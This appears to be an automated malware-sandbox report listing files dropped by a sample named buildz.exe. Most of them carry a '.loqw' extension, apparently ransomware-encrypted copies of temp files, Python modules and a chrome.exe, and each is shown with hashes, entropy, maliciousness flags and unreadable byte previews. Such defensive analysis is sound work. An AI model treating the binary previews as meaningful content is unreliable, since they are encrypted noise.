Preview:	..T.i..L4&...f+.I.H.$.b..Wz......+'..A.A..Y.PF>....N.c..6....rk`..y...._:O..p..pe.9..Pn..D.Q]..&.....Z)x...s=.S.....h..$.....\E.Tg......t...:...........C...A.x.I;%O....L(X+.."%..]...O.Zr..Wfc....L.......m.P....r..R^.'.Qz\I.h.{.1.Z....+....6._;...Ge. (=....d:.%.....#.......7...s]...9=....^.E?....vw.,.,'..\.9 .T"Dg&..\...}{&/...CR..G......o...#z.!.......q.. .FH............H.".WB..Q23....J..El.sU./...}D.Z.,0.(...w....W.X.s..!3.......JY..B.`...5..b.+..K.M....&.]..r..]...<..T.....c....-w..&9.=...B...@v..]q.TBya.K..^..!...c%.U.[.&..:6...m0..X.B..J.T.O#.H.DH.U.P.ux1:~.pR4..B.... ..Kw..R...8.......{q~...Wn.v.\..x.~#..AC.5..W...}..z.u..9LrIW9..;.....-....8.o...CTxy...Ck..L...D.a....Qb....u.a..+5..8e.........N...5..o..%.. .K..];.CAMJP$...Mf}+..[......).....R.i...[o.....c.r-.....3N._^p....A.]..og...(..2N.;....g...W.8'.+........._w.=.7.p#X.a<.8.d.....1{1..".......J.^......h>.4{.n....,]...).F0[.$.l.QpK. .@u..u.FA=K.H.......0._..6...........O......

C:\Users\user\Local Settings\Temp\DESKTOP-AGET0TR-20231004-1152.log.loqw (copy)

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	116052
Entropy (8bit):	7.998529693184685
Encrypted:	true
SSDEEP:	3072:L1cEd3G2CrM+VTAkyGl6ZpWBoyZpaTeliDfhWNXAtptc35205w:aaHCrjAtGoUGyZpaTiq5Qlw
MD5:	9D2C3B88F5586B07E92879A7B4BB75C8
SHA1:	5E453BC6573B1201F7FDD27D51D3ACE90AEE647F
SHA-256:	E421D0218D64E8DE03942BC27D00B11CC63838FE331A8FB2A55350CF5495C036
SHA-512:	34AAD679FFA7C29D6322BEA8D15913D47D3785BCA49E225FCE581E78522CE8696FD48E292847DA7982F07539B1E23B4D6A470A360723E4EAE1D62105E790590C
Malicious:	true
Reputation:	unknown
Preview:	..T.i\|.?"O.......LZ...q^..O....G.!...c...'......y...Dn1.n..$...F.X...I......R../..Fx.5.KZC._w..}....\|...........X[s7.H.......K..]....[...3A}9.A!.&..4'...l..&..y.....X...>...5+.~........]>....m.pr`P...Wr .C4.}..W....W^=1.!.}h.....]"H..HU_..11.W./@ t..,.l...x-wW..BM4z.........C.^<.X.QSX7....n..t..E2v...-sEvP.J.g.m....6{.a3.......n;..d..eH7.H....y.g........d ..TE..<...+...........l^...=8..7..i.b.n4@/......c...'d+-.._._=..l.(,.^..fn.S8..../......a.0.t._...7c...M.2.y..<.(.........d..V8...R..).OL.4[......o.........r.. ........>.n.Y....+..`4.........d.......A/....{.4..Z?5=.....>.Vu.....d@~.....$..........n....Fm.\k..D......[..>:h\|&1.#....I..&p..('.....D.W(..z.`P.F..R.......Y.WB.0...v..J~..f.r.b.]..P.ES{....gW...N.k.U`m.&bBm.\...R.B~"...r.w.Q.....JZ.Z..?..d.H.$...p.9.G.y..N....QzRy..,.x.. :..c^a_.E...l.........1)...~....SI)..>.6.p*S\|.B8e....^V4.]]...O..S...}.....-..-.Hg..l.$..H...u......A-.>...5..k...6.K(..;z"L.....Q.M...&.M.s.;...`.Z...%.

C:\Users\user\Local Settings\Temp\DESKTOP-AGET0TR-20231004-1152a.log.loqw (copy)

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	179274
Entropy (8bit):	7.762068826449524
Encrypted:	false
SSDEEP:	3072:F/e5y0zszvxvPMCfPXqWF/rcFwZv/Eh2OXjGsiIZmpygvi1fSqmsSrv1EuYDFzy:hek0zunMCfvqu/rhkh2OXicZmpTitmOU
MD5:	A42F9E5F40AB7046A62C11477E16D8D9
SHA1:	D9E324B1BEDC0D5451BCE0FFFD605F5B1B5280DA
SHA-256:	E2C40778FBC261BEEA8F72B997F247CE9E5B3D0B7B588D170BA39839DD497418
SHA-512:	0E666D3A7C571061025607DF1CC0DD748ABA99B1A1606235A02CFAC9E32B72B24162AB58F7DB9B8B483135A4F7DC5B7B2F6AE80A7E7B88D9817D95F2174C2C7F
Malicious:	false
Reputation:	unknown
Preview:	..T.i...e2IL...0~...p.....:.N........p..<..+....~b.\|F.n..;..j.}!<@o.{....5=./.=.F~.....;..W....p.NR.p.r+..n..~...&.m.L....I.........W..... Q......Q.X.cZ..;W\|...K.n..m&.A...7.N...F#....Y...'...NbI.ul...7...B.....9.L....]..4.?..v.Yxq._.g. ..n~.[.=..P`......\k.(.f.<.....B^]....r...Y\|..Dt2A......y....7.W.$O?4r.`t3..Kv6WJ_N.).W...p..j..Y.....5).~.(?.;Mp...f.....G.J.&.[y.e.....O...F&. ....=..OV?.%...../...yL;w8`...h.5.r8Nt..2Vg.{..-_5x.#...q. ..:.m...m...kl.....H....q..f....Jh.k.....J/.-.s.... 5'....4kY..AP..B..F....QeqK...'(.-f..........s...V..3.l\|..-kw>.<#W@.....,..@.......T.....Mo..!ZQ]..=]..^O.)..{.....>..Vz.i.!b.Nr.2...F../..U..FG....Y.....r...m.Iu..=&(.]..R@...5{.Y.TfV.0...:.`.......'...x........$...8.J......}./.k.....i.:GB.Q.,.ml.J.y$#.{..1P{..b...XRM}.&.CY..IX..W...[/.[.q..\|...n.....M.3...<....6U3........x.$...q.....n.*.F9L.2A..IZ&B.a.kH_t......uU..J9.x.{.@..bD..=.c0.8..v.8.kO...u6.. BC z.Qm/..EU....7..x..).......u.. \|&m

C:\Users\user\Local Settings\Temp\DESKTOP-AGET0TR-20231004-1152b.log.loqw (copy)

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	304858
Entropy (8bit):	6.592922909481979
Encrypted:	false
SSDEEP:	6144:sXw1HqU7bVXFCMkILNgC9ohJREi656v6sLR1DvmgOM5LuB/eCNmkhuggMWdHEODY:s0ZbRkq79ohJRNLR1DvmgOM5LuB/eCN/
MD5:	8DABCB921BBFE739FA40444E44C039C8
SHA1:	09E35273FE807F685695F07F9B04F589D8396EAC
SHA-256:	FDD4A14387FBF415346B1EBB2FE11364BB61C84991A496F4EB2F3CAFD6FA2467
SHA-512:	76C1A1937A7D6ED01A7A6E1DFB2EF80C18B0C70F44AA11C0A053CF3FB1CE30BA321C6CE868442E37A2AAFC00837EF7C3C42E093BC276889116B90A45AD1AFE0B
Malicious:	false
Reputation:	unknown
Preview:	..T.i..9.....1~w.^X).g..q^...Ap.I.2..S4Y.V....g9......[AS4/.i4.4.9#O5AD.#...M.z..u.y.QX.......;.....S.m....8..,...LN:.P.hV-.p.g.D...&..T.......1.Hr..sC._O.z....j..SP..;.........O.x..G.J...f.Y.Lf...%.t.R.8...x.EO..k_S=.s...f.&....0....u8...H .h8...8..Z.D.>...A.gh.]....tw.o.3.wa./.U;<#8..l..R}...u..5....$X8........`.t@K"....J.6.n\|r<.f..l.2..D.$&..`c....i..X.q.....h..r.V..>\|..... e....A....@.G.!..Y._2..^s.....C]....o........l.,.\i.t.D...Zn"..............0..bA....../......{~.<b....XCi. ..b...kR......}....J....[.S)T..&.Gs...z.6]C._.......u.c)..RI. k.j....F.Q.\|%RdG:.5.Z.R...O:I=..Z.H.m...!.#J.N.....',.Y..sQ.ac,I.#.jJ............$\p:.V4....%=y..7.M..'..W.wV.'.!0m..._.:..S.I.pu......Q..i..2*.......v.....A.t..p`LQ..{...S..) ...q$.p .f.-H..V...5....JE..G@...,url..>.3.k.v..........(...Gd @..m.+n}...6...{....!.6yv....-.~..#.eY.7?..!24....-.B`.v.g.xQ-p"t...F.o9N...c.....E.,..0.C..\....V1.%}..c..r..Z...Q.eg.9r...%O.......:<..............-.K%.

C:\Users\user\Local Settings\Temp\DESKTOP-AGET0TR-20231004-1153.log.loqw (copy)

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	99080
Entropy (8bit):	7.998290067232506
Encrypted:	true
SSDEEP:	3072:431pNMyd1Yeuc0NQmznfeZTxFoimm6i12r:4dd1HucOQmTfeZNFoiP12r
MD5:	DFAB998EE0870C456B30865ACB44CBA7
SHA1:	3C329C60DEB8FC1598A11B30BBD687DA18EF0584
SHA-256:	6AFAF5DACE37125696BB8C9BFC55DB8F240C143CA0F8E332E02550793B32101E
SHA-512:	F2AD9DB918A9575DCEF53B3110A7C7EF53D6AE4FA378EE7EF56CBD31824F76560A816B633698DCF40066A8BAD3A024CAA332604BCDC49D207E91CF4D7745F961
Malicious:	true
Reputation:	unknown
Preview:	..T.i.C.."rF.."..O...3.%..H......Wv..$.......C...$..U.nXd.V..\ ..i....Z...W.!.. <.MCp.%'C...f...p.....E........~..:..m5e.@.0.=2..ZO...I..YO.)....V...M...K.P.3./....E...........=U.+l...T....g}....J........=.#e..8.l..-....6%Q..2...U.8W.X.8..]..&.K......'..:l.&y..1....q@4....b.Q..n.).R....u..k5fu..a.+....'.f...JAg!34..M.b......OCl4.u=..3.=.^.....V.......=yV...j+.....{@.Th...s.......C-......1q.[.....1..2..@<JO... @...#..ct....ZY.#.#.......x..E.......P......'..'.v...\.v...g........58N^.6r^.....Epz.....v..Xgo...JgY^WFRNk....<\|gcb...D.(..!.4/.i.7...ZR{K.pX.._....)..~!%...t<Z.m_...s..Sa..e<.%.^Z...g.t..%..^..).B-p.hA..!..+.....;gJu.>.w1...T.......k1x.\.f1;...0JGI..y...&.$b........2DS.D...D.?V.X..6.....]...wQ..V#..1...j..z.-.B...t.....`....~@.KJ.,.......m..."x.E.h..t.w.........H.....:....6.O..f.n;A.V[..2y.Cg.W...F.....%..f...S.._..S0!......._c...B.-.N.8.7.....iD......J(u..q96z.K.^.. .%...7o.....6.(..JC1x1.uD.F...\|....\.K..U..p z..V.....:~A.c.m.Z

C:\Users\user\Local Settings\Temp\DESKTOP-AGET0TR-20231004-1157.log.loqw (copy)

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	102646
Entropy (8bit):	7.998427039609407
Encrypted:	true
SSDEEP:	3072:kIPg3UOlhy5isBg9gH2mAzMsj243G/sbd3JE:fgRlhyUsNWmVYJck5E
MD5:	AA8C3F6561408D856E02BD8831254D55
SHA1:	9EB1085F0558AF4DDACF9865D749B20A04E0ADB4
SHA-256:	95ABE851F0820FAC98C6F5087168D0ACA740B794A5CC70C295FB2E5E18E26423
SHA-512:	50D91A93801EB439B4DE88460A5DBEBAA0D6346A1E458B1876D8450ADED0DF03F11C89F44042B665160C11BC017A2AAF5339E6E378F861303E33015532E0730A
Malicious:	true
Reputation:	unknown
Preview:	..T.i...<)#.\....6.[`6....n...Po..7d.R......&...8b.iu..W/....y.M....=.V.`..^..3..G...6...Sn.QX....[...;......L(CLal.I.CK(...(...G.....a=...5.o(.h..".z0..G=%u.1.ZHI..k?.....s.?I(".I..)...........FA$...y.0..}.v)}vv..ZT.x..y....kbX......@......z....SQt,.R.D.....Q.15...".nd.2...........4.'p.J.)#.m..g&/N]K,..\v..\..C....&..\Ml.rN...C..WK.......N....pX&LpZp.y....!.I...D......7`i..y....v....wE....t0Lo..d{sB.v>.......@.$....-.^.S....!./..'H<.}k8D..#.!.x9....Bh....P..S.u...".)g.o.&."iZ..S>i.}.Q.,.i.s.f.....Sm9.....7.u`Y/E....}O2Q.".ZO.Y4.. ....+..S..H.j...\|..]...E......v..~..EJG[AD.... Y.t...2b. .\.At.yE_..^.m.C.<..x...h.Yi...c,..#1...E......;}}J$T.....>.Q......m. ...>.''m.?.X.6! .x....5)u.8.......T..n,......l..6......5...%...8.d#..D......9...?..6`..F..q.~.. ..R..VB0..H1.kD.>..g..$......AK.D..0..'.-?..B...S[)..2-.....V...E..m.h.....~.o...0.X....D..3..p....K..s....&4.%.@@"..g...GLx.G.~..l"...~.?......D....G...I..j..g.#5h.ox..[r3..Z.Jx`......./\+.'

C:\Users\user\Local Settings\Temp\_MEI80242\_cffi_backend.cp312-win_amd64.pyd.loqw (copy)

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	MS-DOS executable, MZ for MS-DOS
Category:	dropped
Size (bytes):	183118
Entropy (8bit):	7.726534679182877
Encrypted:	false
SSDEEP:	3072:4Oj+1uJDdmsOOM3SvzPxKGaGD73zk+WgEsuMY7ALUZNUv8lMUY0/XJBl8JRiRjfG:4OeuJDd+33iFaG/zkrgEsuNDEv6MoJBA
MD5:	603DFDDCE20352EA8E0E5DFF612473F5
SHA1:	76C15F26755F4A534C430809FF0ACFE5C4458526
SHA-256:	91AE27F072E533CF081D1B929C419BE9647032A640415F6D516702BBBF3AF1C2
SHA-512:	9C595B6A08A5848EB94C9EAE85F99116B2A48728C6600AAC404795D07A574E06D057C4BF76C7FC678993257B0CE24CF8503A3480D027CD58276B5D6E3B0F4546
Malicious:	true
Reputation:	unknown
Preview:	MZ.....5..5.r....]..P.w.&c.(......}...).o..I%..>....0O..=.....i....g_..!...8..\..,.....SHR.....]e.,.+..0...I.f.X%..o...1.8. o.>..[A>..1c.L.....Fv...2.=..bL.M...#....$k9..<.8E...>.P.^......-.@..4..T2.>yS.i....CZ...-...S#..Q.\;...M@....d. ...UA...B...9.X.Zj.......{...f.N.\L`_..Of..Ci.,...nxg...s........j...Hc.0.....wO.H....xd....N..t.>.t.."...^.t.0..ZQ..h..[.l....=D....2.}......k..p0R........[r..l2.d....X].FNZB2....c]S.y(..Ex..Nex...X.s.d.?........ ..&..Ta(lqx...O.)..:w{&...r..Ez...YkD..\|.fs...52....\|.~..sOj.@.P.P{._...........>.....V.Ot.)...7s&....k.GQP,.........^.2,I.!&...Ii~..i..z.....`..v.....?...H,.A..F~.s...lN:3.5....]T..Q..alXCA..l...5I.P.+0...W..._K.lV....PtG0?.Q..&.\<..J.m..W..-..li6H...z8/ nb...Q...9;..$h..[..1G.. ;2.J....l..[b.@Kl...t......C-.1.,i.1...D.y.?V..7!Tq~.J......2...\|...D...lC......ZMW...,....V..a..q...!.O....-...v...d.O...'#j..0_...Nc....a.z.....~M.k.._.YK.z......Y.+6....-.e.........99.....>..j..CD....s.\....#\|

C:\Users\user\Local Settings\Temp\_MEI80242\_decimal.pyd.loqw (copy)

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	MS-DOS executable, MZ for MS-DOS
Category:	dropped
Size (bytes):	253542
Entropy (8bit):	7.5659094907777265
Encrypted:	false
SSDEEP:	6144:pp6VfFmniXKWNtrtRpOoeb4p9qWM53pLW1AepppzoeteKE:ppriXK8tr0ojMkeKE
MD5:	701AE1FA633D8C115FB83361B9896B38
SHA1:	00B6C350E8028FBB395D9A887C86B5963591F4D0
SHA-256:	6802822DC92C8AAD3366F8536C32DB77F4195FB37384D8573A458A36068C8D6D
SHA-512:	D29CC7605CEFA4AAC1BBF0433D4D8DA9ACB2FE21F73886FD56B80212ECA7A1F7B6C1FC85370720679105E5A2A16B425B652B3693B251C5012EC249911E1DF996
Malicious:	true
Reputation:	unknown
Preview:	MZ....h=L../.n...Y%..&m.J...c8.v.cR....^+.?..`...).JU.Io&Y(.,.....6w.i.z..h....3......V.60.P.Qq.d..Z......O....r...-...E.......5.&...L!.....}G.s[.I5.5.>. .~..#...>..{9.rn,.SV"...{.0LbK{..S.$h....Te..!.,...=...{..C.c....Gf.......C...0j.O.x..A.]*O...q....[H\|....u6..Un\B.c.4.%E....B,]b.....=.e...../.-\|..\|..=..........Q..5..cN...X..5q+2(5'....S.U.O......J.q...8.Q.2.....{.V...B.m.b..N.m.%..}x....O/xuZ....t.....).[ ...]u...4..I.b"v@k.".}1..\|.b..J.'...Y".^}e......+/S...s..+MEI-;.t~..E.[.,.\|..~.....P7..\|B.....g...-..h.$Y...R.2$..-..X.D...J.X..l..j.....H2a@.P.q_.}5i...\.W....JE.s........m$.'g.v$..Q_.O..R<.y...h.0..."....mX.V..#HQ..:.#...l....#.D..".k4:......!..8t..m..N^.F...\|......8w)ep.0hT...]...5...#.}.Vz......^..G..]....G..i.yY.T#...-;9v.7'(.Ob....X....jj.....H...^....>h..d..{.m.......[Lq:I...2d......v.J;....,..t..L.&....E........G.....A..GK.....8..NM@.............W........;f....:.'...<a...a$............d..G.g.E$.v.....=...@.4.m/........U8..}.P

C:\Users\user\Local Settings\Temp\_MEI80242\_multiprocessing.pyd.loqw (copy)

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	MS-DOS executable, MZ for MS-DOS
Category:	dropped
Size (bytes):	35430
Entropy (8bit):	7.994190461540321
Encrypted:	true
SSDEEP:	768:Evyi6q9RxmARl6cm1SytOSUZz4rcSdGOQIU0GM7UDEDouYe:EEobmVtKZz4AGtzlDoul
MD5:	C90CE434A5EB4EAB312DB2206C1C1A07
SHA1:	C7FD3E1D0404AEFB89CCCA51712611B360779DE2
SHA-256:	7256765A1F7CCC5F066113EE0E17CCA293247EC4E068FAD225FB5E48D5367B20
SHA-512:	A7F877DBD7C0FBA6877D430C74331D82FA13027CAD5E74C9583D812151B351C0C489DEF837F0FC3835A10777F8B0182F99823C7E84BC9803DE0CA736897C86D3
Malicious:	true
Reputation:	unknown
Preview:	MZ....h.......v.B.}.....s...8U..3........B?(.g3....lW...O. ...q.FF6..u.....R...a1...0...#...gB................-3.Dm.[.[>\|.\|.e......%...H.>.`.7Wf?H~.q.p.8....e.._}....C..}#......Q........T..........$..9...?...r...k..Q...@.l.>+./.F.;.c.T.. .]..."....R.LH.M...R7..L..O....Qz2h..{.......;..M._}..dumG.R#5xz.+l....l..i.v;3.f._&a..../...b.....@...\...P'.......J.+.....).4.O.K...RT7=V...c[.~...{..%.a....>..A/.f.7....<.j...,....O....k..Ku.}.,....Y...b..".\.<Q$..........y$..J...U.X~.}.P..............".x.f.N.e2.~...5:..w...W....B$wwt..\.va.:.n......1...v..K.J..r.n0.\..X09...b.b..Kx]"...)..'J....{$h.....U.KP. .H.8\|>.<3r.........R_.F......D_cRc.WBb........I...4.......i.'X..f....~.H0.....57.r&..I.x...5C_.....1...jzx..1..s..y.O>.$.....jD.X....j..z..S....r!.w.o@.......XQ..wU.....1O...E.q.P@.....!A3""&.^.7...8...7.^.nI....4zpO..9.Qc...b......T..5..<...^.'v-.J."...^..Y.3m(].h(....!....<..!..H...i....z..'.t...F..%...Q1.:.fbk..g....e.A..R.n.=...w....

C:\Users\user\Local Settings\Temp\_MEI80242\certifi\cacert.pem.loqw (copy)

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	290616
Entropy (8bit):	7.59954134538363
Encrypted:	false
SSDEEP:	6144:nuvCLuosQa6pnkYiCanp41uCMhfCigT/Q5MSRqNb7d8iu5Nb:uqLuvQa6p5H6CG5MWavdF0B
MD5:	5805C7D65EB4212C361B9245262F97E0
SHA1:	FF4D9C356F9558080F535A4CCFDF0F99996DD8B5
SHA-256:	3F8FC1C6A58EADA12E233C267ED0E28214411DC1CFF2C262302EE81900A50616
SHA-512:	CF765DA831C6A8C9A5EF6E09B62A00F8E3A3576EF590B66F0A9B81F722BF193A5FD564EA12F71A076A7126FAFC5C415D1CC8E1C601A5EEFD3E89067D9427D5E0
Malicious:	false
Reputation:	unknown
Preview:	.# Is..c..C......b...\O.. ..W:..4.A'.>.....B.....0..C..R8.iZ.R..o.t........;2\.e.NV.L....b5.. jtW..V.1..V....I..;S.nq...D.....L.%v....90..$.n2S.5.....g..\|.).rX.>....k.o....M.....a..Y..7.sf.4....f..p.0%(...&..@a...}.bTGE]K..V.d .....e....I;l...3.Y.._.........~..AK<..F$.[).j.]T.^.......@-..#h...0...8.........r.ox...!1..m#..l..,...3K_.........`I.t1.Dd.K>.?..T.u...R..g.ak.zJv.H.....#.../l ...f0.....X..)...1t......Y..[Z.0Ix<..t.jRq2..ZJ.'+.9.I.7f.v...Xn.{7.N.....t'_B.._....g..+F../..H..2.t..<........4.lO9k...U!s..'hU.m...R....\|L.{.&{....f4m.kq.=-.H...)..i.......xg...g...^.XA..TQ1b.;.z^...`mDIC..V...f.........;-!q.82U.........MCP._..7....$).q ..Q.C.W\x.b-d.Q.(WTbK..w}C0P...e..L.\|....5..j.W.d.,F...WG.DR.6(.mJ!..a......Y..a."!.........if.].=......r.Su..~K...%}.G/0Kt..O....j}.`=.)H....A....\|t.^.u..6....aw.uj..xu;.z\|Z.e..A.7.}...nn..XU...<.6..{...z9...{=..J<..2\|.ilSy.......p$)gcM.J.d..../ ._.1..-.C<m5...N.Km...............................M+..

C:\Users\user\Local Settings\Temp\_MEI80242\win32\win32api.pyd.loqw (copy)

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	MS-DOS executable
Category:	dropped
Size (bytes):	133966
Entropy (8bit):	7.998616328119712
Encrypted:	true
SSDEEP:	3072:iWEGmbM9uPU/7uYa0boBOi3EfdB5N2Kr14L0st9qfi7:bENM9B/7va0A3E1Bl10rEi7
MD5:	1924E7E65CE6A4F25BB81D584867F9A8
SHA1:	D3A4B64B50CB6438815A4AEDCB906375E350B306
SHA-256:	94F49CAED9702E9556585A7CA69371B07515536EAB47D6A5F91B1118725850BB
SHA-512:	E6B828BB802D8010080EC9FB2453DE194E6BF47E466F4CED1B40A81F27471E2287108CA1198573D60CE80E09763D61B93E2CAFB46AE3EFF6E9FBCD53759FF4B1
Malicious:	true
Reputation:	unknown
Preview:	MZ.....D..X...I.2.z........<..R>.1..r.zH.f....h/..!.u..).j.V..j.N.....z....CMD.S......w.5...x7.e......i..R!F.S.CO>TY...r.......U..(...H.S.x"...\1...Cm..J0..C.d).f...[..3.u.1.u.\.2. ...B..I..34./...........P.&.q.<..}...=.%.....S\|v.#.i@.q....#....~....s...c....a....2y0...u..o...........@DY...._s{<...:..V...HAT'l...7..{#..T...f......W4..W.)..4C..Ko;....\.s...+u..R....}..q.;."/...D..b%...(s%-O&.n.E...L....F...=.....?..f..U..&..elm.L.....pt;..c....#nC..L}....].:m.3Z...k...U...V..d. >......\|...L..Me.j..='?.E-R:.u9..Q..^ol .RKAGO...r...e.W...h1...s..\O..c.5.L...\.y..N.p(._\|.S..K6........e..B.0.....Ao.~...8.n.0O...h..^.... .. .{...\.Zv..$....FJ...H... F..&.Y.A.#.[=!............J.../....._.U...J.a...:.w..3[...(>..qE....E.HM.l.$4..;.n....Lj...s.>..W.c..(.........ji.F_RZK..E.z.1i$5.o@BxO.7.]...Q]k".r..g.$.....j....=.J.6.?$.......Q..3..rK.P..ET...e`..yV.r>.......7w.Y5.m. R)..n........~..^..>G..):&P.\|.,.b..A.\..E...........G..rJa....;

C:\Users\user\Local Settings\Temp\aria-debug-6292.log.loqw (copy)

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	804
Entropy (8bit):	7.672198296303088
Encrypted:	false
SSDEEP:	24:b3Al5X/HygbTo2xMPoppcWjpBKBFjPnEn4rPuAbD:bmJ/Hf3oIMcTg6aD
MD5:	5D7FC5C2D0DE553E3E3BA8C6F9C5CF7C
SHA1:	0B6033557FFA0F0BCAE7B5C05D5888290BE83EC4
SHA-256:	8C3D6D0B26AED1F635652D01796CC4D1DD3F0619F4B04BEF4F89420403CCE13D
SHA-512:	C6A4FE569FDD2FAC4097757F71CF29C2EC3399A1C3A36131BADCAABA69EF8CC8E36580612E4C2AB83F482E5B6CB8BD62F37A7E81B2B3366CD6668B99EDF2927D
Malicious:	false
Reputation:	unknown
Preview:	2023-...5.I...4....eOZ....Q.........6.[Ah.Q..F....t.J..E?M.<L.W=.u.j..0.....n`.Zv.._..!.\...V...a..Y&...tn.....1.."U.G.C..\..9..-......Oz...I.L.n..N.V.[....?.7....7.L]Q.\F.2..@..=..].#....4g.k.^...m8_.W.62...)Xw..DT..uM.....E..OZ.....]Ot.........W.d.K...{.y..\|...6."o....kF3.Z.e..M..n .....8=...s.K^.(jckH$...Jxn..?Qj..........S..B.U.<T..c.qE.f.q...e\|o.STM..O..D./\d..dK.."...v....K1v.# 4..f...P.Be(Kt>.&.V...........}...T.Y5..3.".5Z.#...sJ.L.sL.....L.q...5...\|H...ZK G..-.....E..../.Q^.....M3A-..+..m..-".....F.9.2.{;=....g.`Za.q.wnG8.-....C.......k.4..B.&+.1.9.~u..e... 4@.2;"rKo...28.p..w.....P.......w,E\|3I8....\|..[.oS.T..6_..ce`d.._...-..MC._[K..sy.8(."../<n}...NJj.'....W._Z)p.X2.O.@SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Temp\chrome.exe.loqw (copy)

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	MS-DOS executable
Category:	dropped
Size (bytes):	141134
Entropy (8bit):	7.998792912535207
Encrypted:	true
SSDEEP:	3072:7OlB10EaEmMxHP6DvxxFMNpNP1zLKJ3uUsnoPU90AB9E+jBCs:7LEDxv6DvGNndzgsoPU9F9x9Cs
MD5:	3CB18B5A18116B2829EA2291F2742FB8
SHA1:	A4E59C3EB31AA87B3FCE5182DB01288C2992A3E2
SHA-256:	37D0C4CA44CEC942DA762EFF6F3FDEFAAEA85DE6F0BB9380A30849F7FB48BC80
SHA-512:	0579434A36AE9732DDA0D13125744EBE10E4EDAE403A8E4738E08EBECAF03528FD2F8902AD4042E777D2E189D6ABDFCE05CE5CF8D69937B381A071730829EA16
Malicious:	true
Reputation:	unknown
Preview:	MZ....{.w..L..J.Z16T..g%&.nj...-../..sn ...Wj.2_d........ ..[.....ty9....p.V....l._G&.b..W..........>a\|.^....Pf..j.....R"X#..A...xk...U.....sF..G...?.7.Cxe`F.8f..(+Ja.Y1.......g.,[y.....cL..v...)`.m. .Q.... ......f.v.U...@9.Nd....w........A..x..0...8....U...kJ..,q.f...a..k.=..r..i.....p..g....?...XE...Sh..J!..:*..d:..k.v.Fh`...\......... .V....2...W4....k...-..K3.!.n...+....R.....s.9.5g...../.Q.J...dx....J..fRI..<R..`...+.v6R<.).i..`...R!..B..k...A.0.....em..^1./\.\|.B...`..j..(..t...sE.b..g46n.t..Z...ZeBf...K.F.n.......-d...G.l.Eri9.Zjm.4.r...ha......".Rw}Z..\|t..4V..Z.O\|._W..E.&.....g...z.lW.7D...^e\|......L..uo.3Z...)...$.Fii(.....&.y.Z.={..N...+..D...,.b...L...o...[..&.>f._....:..{..9M.....h.>.!.z........Y..Z.\X.>_M..9.,...n.+.'.a....TE]....u.1.Q.R.A.&...I./.+...........\-.w.....I^U..V.F.c~..E:.K....Zf......jWA".e.hz.7.7&}0.M..M...S..!L...7F.....5.#...T.W.,n..h.X.2......^...j...5......R.>.v..2r........#... .)..0C..p..K..&e0m.abU..:.

C:\Users\user\Local Settings\Temp\chrome_installer.log.loqw (copy)

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	6256
Entropy (8bit):	7.970631652132961
Encrypted:	false
SSDEEP:	96:vXxQmDX3uijAZ88EE9aZCQleamW9uyzwCXEQ8nXV+7dBhpyvXwRkIva/kEbzxiaQ:vh59AyZCQF1wCN8FEdzAokVsEbTRm5SM
MD5:	6EEFB051D5F922819E52A3412B8F79F7
SHA1:	BA948E1A15D7C53C1F7A83605F5A6D305DFA040A
SHA-256:	390E25FB6BF5E461DD826231003B7B3E141FBD7548BA9FB80F60C4DD94563394
SHA-512:	0758B0BEF9DAEF9D4A244E4E1A2C004325BA16D41C840F7C3262073B2D212B038C84521496A340CEB2B5C8ABD53646C8DA247DD8F85662061BF06A69F3CEAD18
Malicious:	false
Reputation:	unknown
Preview:	[1003..../QS.w.=.L`EXo..YDC......]t$..:.....".x.x.,`%.....F.D'(.LI....R..s..;@^..`.{......l.YE...YKi.9Y@L..U...x....f...Ftv........T..#0.9J..3..[.....C....mK.;.....%I.._o.O.G.M...>\.p.y.y...ow..mk..%r).2.xis.A9.C.`q.S..p.$..C.F.gM..H+...tb..w..jd..U.{A....W.X \o.....=b.3?...2.........z..]z#.iP.........k_.......U....@F-f.O=P.S"X<...T..^nt...Q.tq...........\|U......k..>\f......)....I?.uJN.0T.......2....!x....H.c.H.+/.y...H..{.~....7~..i......g.K42J1V.....Ukp...Tw[.ia.D..z.:..\3-c....j.......g....WbT...9..>t.Z\..?...^W..6..y7. -..#....Jg..W.5%Y..C....S.....@..L+.....d....h....U...../.3m..2...\..{]".M......#\.....3.1...&M...c.K....I(....VQ.De.r.).:....c..#l...-.....TuBC.Q..............,.58"...A..K......../..1\|.#.....0"...7..3.O.)\|.7...O]i/....wt...N.....O..i......K'^%.}......l!..V......'..0r...-]h.......D..Np..w.2>.P.A...W.%....L..d`k.TX.x.......L=.T..k.~B...3PH7.{.i6...G...s8....(.A.d..l..HC2....E..gV.6.da$..B.......5.q.O.....&...p?y..-

C:\Users\user\Local Settings\Temp\crcook.txt.loqw (copy)

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	3521
Entropy (8bit):	7.947543911658422
Encrypted:	false
SSDEEP:	48:2NjARoMtbZJXd02fptVyUYpyybjMc1/9/JXAe10xH4hla8iBbw3Sp8ND:31Z/uUFyfBJXB1WYfhOb7p81
MD5:	04B127E917247081A0212EF2A08E113A
SHA1:	FA44A79DF734DA341D629FAC0EFF5AD5C57DBEB1
SHA-256:	2198DD8B3883FD8B4AFE25320782F8E11FE032B8A8180E0A561765867835BA5E
SHA-512:	852842324920BE5C6C7BE36C4ED63FFBEE0259BF4C4E7B3AB449BC0F6A17B5FE974FF30D537421751CB7199F92836FB1B0AA5AF8F92B80E22C64213330EF20CE
